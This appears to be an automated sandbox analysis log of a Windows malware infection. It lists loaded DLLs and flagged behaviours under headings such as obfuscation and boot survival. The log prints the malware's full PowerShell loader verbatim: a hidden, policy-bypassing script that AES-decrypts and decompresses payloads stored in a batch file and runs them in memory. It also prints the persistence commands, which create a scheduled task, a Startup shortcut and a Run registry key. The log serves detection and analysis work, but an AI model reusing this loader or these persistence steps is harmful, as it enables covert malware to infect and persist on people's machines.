        Source: C:\Users\user\e45iasd.exeSection loaded: atl.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: mscoree.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: kernel.appcore.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: uxtheme.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: windows.storage.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: wldp.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: appresolver.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: bcp47langs.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: slc.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: userenv.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: sppc.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: propsys.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: version.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: vcruntime140_clr0400.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: ucrtbase_clr0400.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: ucrtbase_clr0400.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: cryptsp.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: rsaenh.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: cryptbase.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: msasn1.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: amsi.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: userenv.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: profapi.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: gpapi.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: msisip.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: wshext.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: appxsip.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: opcservices.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: secur32.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: sspicli.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: urlmon.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: iertutil.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: srvcli.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: netutils.dll
        Source: C:\Windows\System32\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32Jump to behavior
        Source: e45iasd.lnk.17.drLNK file: ..\..\..\..\..\..\..\e45iasd.exe
        Source: Window RecorderWindow detected: More than 3 window changes detected
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dllJump to behavior
        Source: Binary string: powershell.pdbUGP source: e45iasd.exe, 00000014.00000000.2444901627.00007FF63FC0A000.00000002.00000001.01000000.0000000A.sdmp, e45iasd.exe.17.dr
        Source: Binary string: powershell.pdb source: e45iasd.exe, 00000014.00000000.2444901627.00007FF63FC0A000.00000002.00000001.01000000.0000000A.sdmp, e45iasd.exe.17.dr

        Data Obfuscation

        barindex
        .NET source code contains potential unpacker
        Source: 5.2.powershell.exe.20644ebced8.8.raw.unpack, SHcGZMGhEfBxxYHAVTwX.cs.Net Code: Main System.Reflection.Assembly.Load(byte[])
        Source: 5.2.powershell.exe.20645494098.9.raw.unpack, SHcGZMGhEfBxxYHAVTwX.cs.Net Code: Main System.Reflection.Assembly.Load(byte[])
        Source: 5.2.powershell.exe.20644f0cf10.10.raw.unpack, SHcGZMGhEfBxxYHAVTwX.cs.Net Code: Main System.Reflection.Assembly.Load(byte[])
        Source: 5.2.powershell.exe.2064c4a0000.12.raw.unpack, SHcGZMGhEfBxxYHAVTwX.cs.Net Code: Main System.Reflection.Assembly.Load(byte[])
        Suspicious powershell command line found
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6VdBmIxfljLUbIX4k/VK2dkoJHwWJjnboCEGaiK9Ksk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AfGVni1E/DgzNaZyr1bq+Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $evPTP=New-Object System.IO.MemoryStream(,$param_var); $Tgngw=New-Object System.IO.MemoryStream; $glxBv=New-Object System.IO.Compression.GZipStream($evPTP, [IO.Compression.CompressionMode]::Decompress); $glxBv.CopyTo($Tgngw); $glxBv.Dispose(); $evPTP.Dispose(); $Tgngw.Dispose(); $Tgngw.ToArray();}function execute_function($param_var,$param2_var){ $RjrbO=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $tvMZN=$RjrbO.EntryPoint; $tvMZN.Invoke($null, $param2_var);}$dxXqn = 'C:\Users\user\Desktop\PollosAplicaccion.bat';$host.UI.RawUI.WindowTitle = $dxXqn;$qVyct=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($dxXqn).Split([Environment]::NewLine);foreach ($CWzJO in $qVyct) { if ($CWzJO.StartsWith(':: ')) { $xStIY=$CWzJO.Substring(3); break; }}$payloads_var=[string[]]$xStIY.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_521_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\startup_str_521.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6VdBmIxfljLUbIX4k/VK2dkoJHwWJjnboCEGaiK9Ksk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AfGVni1E/DgzNaZyr1bq+Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $evPTP=New-Object System.IO.MemoryStream(,$param_var); $Tgngw=New-Object System.IO.MemoryStream; $glxBv=New-Object System.IO.Compression.GZipStream($evPTP, [IO.Compression.CompressionMode]::Decompress); $glxBv.CopyTo($Tgngw); $glxBv.Dispose(); $evPTP.Dispose(); $Tgngw.Dispose(); $Tgngw.ToArray();}function execute_function($param_var,$param2_var){ $RjrbO=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $tvMZN=$RjrbO.EntryPoint; $tvMZN.Invoke($null, $param2_var);}$dxXqn = 'C:\Users\user\AppData\Roaming\startup_str_521.bat';$host.UI.RawUI.WindowTitle = $dxXqn;$qVyct=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($dxXqn).Split([Environment]::NewLine);foreach ($CWzJO in $qVyct) { if ($CWzJO.StartsWith(':: ')) { $xStIY=$CWzJO.Substring(3); break; }}$payloads_var=[string[]]$xStIY.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6VdBmIxfljLUbIX4k/VK2dkoJHwWJjnboCEGaiK9Ksk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AfGVni1E/DgzNaZyr1bq+Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $evPTP=New-Object System.IO.MemoryStream(,$param_var); $Tgngw=New-Object System.IO.MemoryStream; $glxBv=New-Object System.IO.Compression.GZipStream($evPTP, [IO.Compression.CompressionMode]::Decompress); $glxBv.CopyTo($Tgngw); $glxBv.Dispose(); $evPTP.Dispose(); $Tgngw.Dispose(); $Tgngw.ToArray();}function execute_function($param_var,$param2_var){ $RjrbO=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $tvMZN=$RjrbO.EntryPoint; $tvMZN.Invoke($null, $param2_var);}$dxXqn = 'C:\Users\user\Desktop\PollosAplicaccion.bat';$host.UI.RawUI.WindowTitle = $dxXqn;$qVyct=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($dxXqn).Split([Environment]::NewLine);foreach ($CWzJO in $qVyct) { if ($CWzJO.StartsWith(':: ')) { $xStIY=$CWzJO.Substring(3); break; }}$payloads_var=[string[]]$xStIY.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_521_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\startup_str_521.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -ForceJump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6VdBmIxfljLUbIX4k/VK2dkoJHwWJjnboCEGaiK9Ksk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AfGVni1E/DgzNaZyr1bq+Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $evPTP=New-Object System.IO.MemoryStream(,$param_var); $Tgngw=New-Object System.IO.MemoryStream; $glxBv=New-Object System.IO.Compression.GZipStream($evPTP, [IO.Compression.CompressionMode]::Decompress); $glxBv.CopyTo($Tgngw); $glxBv.Dispose(); $evPTP.Dispose(); $Tgngw.Dispose(); $Tgngw.ToArray();}function execute_function($param_var,$param2_var){ $RjrbO=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $tvMZN=$RjrbO.EntryPoint; $tvMZN.Invoke($null, $param2_var);}$dxXqn = 'C:\Users\user\AppData\Roaming\startup_str_521.bat';$host.UI.RawUI.WindowTitle = $dxXqn;$qVyct=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($dxXqn).Split([Environment]::NewLine);foreach ($CWzJO in $qVyct) { if ($CWzJO.StartsWith(':: ')) { $xStIY=$CWzJO.Substring(3); break; }}$payloads_var=[string[]]$xStIY.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));Jump to behavior
        Source: e45iasd.exe.17.drStatic PE information: 0x7EDA4115 [Wed Jun 10 07:45:25 2037 UTC]
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 5_2_00007FFD345600BD pushad ; iretd 5_2_00007FFD345600C1
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 5_2_00007FFD34567920 push eax; retf 5F4Ch5_2_00007FFD345679AD
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 6_2_00007FFD3442D2A5 pushad ; iretd 6_2_00007FFD3442D2A6
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 6_2_00007FFD3454D5B5 push eax; retf 6_2_00007FFD3454D74D
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 6_2_00007FFD345400BD pushad ; iretd 6_2_00007FFD345400C1
        Source: C:\Users\user\e45iasd.exeCode function: 23_2_00007FFD3455776A pushad ; iretd 23_2_00007FFD3455785D
        Source: C:\Users\user\e45iasd.exeCode function: 23_2_00007FFD345677FB pushad ; iretd 23_2_00007FFD3456785D
        Source: C:\Users\user\e45iasd.exeCode function: 23_2_00007FFD3456785E push eax; iretd 23_2_00007FFD3456786D
        Source: C:\Users\user\e45iasd.exeCode function: 23_2_00007FFD3455785E push eax; iretd 23_2_00007FFD3455786D
        Source: C:\Users\user\e45iasd.exeCode function: 25_2_00007FFD34551028 push E85F4A01h; ret 25_2_00007FFD345510F9
        Source: C:\Users\user\e45iasd.exeCode function: 25_2_00007FFD345677FB push ebx; retf 25_2_00007FFD3456796A
        Source: C:\Users\user\e45iasd.exeCode function: 25_2_00007FFD34567890 push ebx; retf 25_2_00007FFD3456796A
        Source: C:\Users\user\e45iasd.exeCode function: 25_2_00007FFD3455785E push eax; iretd 25_2_00007FFD3455786D
        Source: C:\Users\user\e45iasd.exeCode function: 25_2_00007FFD34557963 push ebx; retf 25_2_00007FFD3455796A
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\e45iasd.exeJump to dropped file
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\e45iasd.exeJump to dropped file

        Boot Survival

        barindex
        Drops PE files to the user root directory
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\e45iasd.exeJump to dropped file
        Uses schtasks.exe or at.exe to add and modify task schedules
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "e45iasd" /tr "C:\Users\user\e45iasd.exe"
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e45iasd.lnkJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e45iasd.lnkJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e45iasdJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e45iasdJump to behavior

        Hooking and other Techniques for Hiding and Protection

        barindex
        Loading BitLocker PowerShell Module
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
